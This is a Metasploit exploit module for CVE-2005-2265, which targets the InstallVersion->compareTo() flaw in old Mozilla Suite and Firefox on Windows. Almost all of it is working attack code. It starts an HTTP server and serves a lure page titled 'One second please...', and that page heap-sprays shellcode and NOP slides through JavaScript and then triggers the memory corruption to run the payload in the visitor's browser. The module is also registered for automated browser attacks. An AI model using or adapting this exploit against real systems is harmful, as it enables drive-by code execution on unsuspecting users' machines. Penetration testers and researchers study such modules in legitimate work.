##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::FF,
:ua_ver => "1.0",
:os_name => OperatingSystems::WINDOWS,
:javascript => true,
:rank => NormalRanking, # reliable memory corruption
:vuln_test => "if (typeof InstallVersion != 'undefined') { is_vuln = true; }",
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Mozilla Suite/Firefox InstallVersion->compareTo() Code Execution',
'Description' => %q{
This module exploits a code execution vulnerability in the Mozilla
Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit
module is a direct port of Aviv Raff's HTML PoC.
},
'License' => MSF_LICENSE,
'Author' => ['hdm', 'Aviv Raff <avivra [at] gmail.com>'],
'Version' => '$Revision$',
'References' =>
[
['CVE', '2005-2265'],
['OSVDB', '17968'],
['BID', '14242'],
['URL', 'http://www.mozilla.org/security/announce/mfsa2005-50.html'],
],
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00",
},
'Targets' =>
[
[ 'Firefox < 1.0.5 Windows',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
'StackAdjustment' => -3500,
'Addrs' => [ 0x12000000, 0x11C0002C, 0x1200002C, 0x1180002C ],
}
],
],
'DisclosureDate' => 'Jul 13 2005'
))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
# Handle the payload
handler(cli)
end
def generate_html(payload)
enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))
spray_to = sprintf("0x%.8x", target['Addrs'][0])
spray_slide1 = Rex::Text.to_unescape( [target['Addrs'][1]].pack('V'), Rex::Arch.endian(target.arch) )
spray_slide2 = Rex::Text.to_unescape( [target['Addrs'][2]].pack('V'), Rex::Arch.endian(target.arch) )
eax_address = sprintf("0x%.8x", target['Addrs'][3])
return %Q|
<html>
<head>
<!--
Copyright (C) 2005-2006 Aviv Raff (with minor modifications by HDM for the MSF module)
From: http://aviv.raffon.net/2005/12/11/MozillaUnderestimateVulnerabilityYetAgainPlusOldVulnerabilityNewExploit.aspx
Greets: SkyLined, The Insider and shutdown
-->
<title>One second please...</title>
<script language="javascript">
function BodyOnLoad()
{
location.href="javascript:void (new InstallVersion());";
CrashAndBurn();
};
// The "Heap Spraying" is based on SkyLined InternetExploiter2 methodology
function CrashAndBurn()
{
// Spray up to this address
var heapSprayToAddress=#{spray_to};
// Payload - Just return..
var payLoadCode=unescape("#{enc_code}");
// Size of the heap blocks
var heapBlockSize=0x400000;
// Size of the payload in bytes
var payLoadSize=payLoadCode.length * 2;
// Caluclate spray slides size
var spraySlideSize=heapBlockSize-(payLoadSize+0x38); // exclude header
// Set first spray slide ("pdata") with "pvtbl" fake address - 0x11C0002C
var spraySlide1 = unescape("#{spray_slide1}");
spraySlide1 = getSpraySlide(spraySlide1,spraySlideSize);
var spraySlide2 = unescape("#{spray_slide2}"); //0x1200002C
spraySlide2 = getSpraySlide(spraySlide2,spraySlideSize);
var spraySlide3 = unescape("#{enc_nops}");
spraySlide3 = getSpraySlide(spraySlide3,spraySlideSize);
// Spray the heap
heapBlocks=(heapSprayToAddress-0x400000)/heapBlockSize;
//alert(spraySlide2.length); return;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
memory[i]=(i\%3==0) ? spraySlide1 + payLoadCode:
(i\%3==1) ? spraySlide2 + payLoadCode: spraySlide3 + payLoadCode;
}
// Set address to fake "pdata".
var eaxAddress = #{eax_address};
// This was taken from shutdown's PoC in bugzilla
// struct vtbl { void (*code)(void); };
// struct data { struct vtbl *pvtbl; };
//
// struct data *pdata = (struct data *)(xxAddress & ~0x01);
// pdata->pvtbl->code(pdata);
//
(new InstallVersion).compareTo(new Number(eaxAddress >> 1));
}
function getSpraySlide(spraySlide, spraySlideSize) {
while (spraySlide.length*2<spraySlideSize)
{
spraySlide+=spraySlide;
}
spraySlide=spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
// -->
</script>
</head>
<body onload="BodyOnLoad()">
</body>
</html>
|
end
end
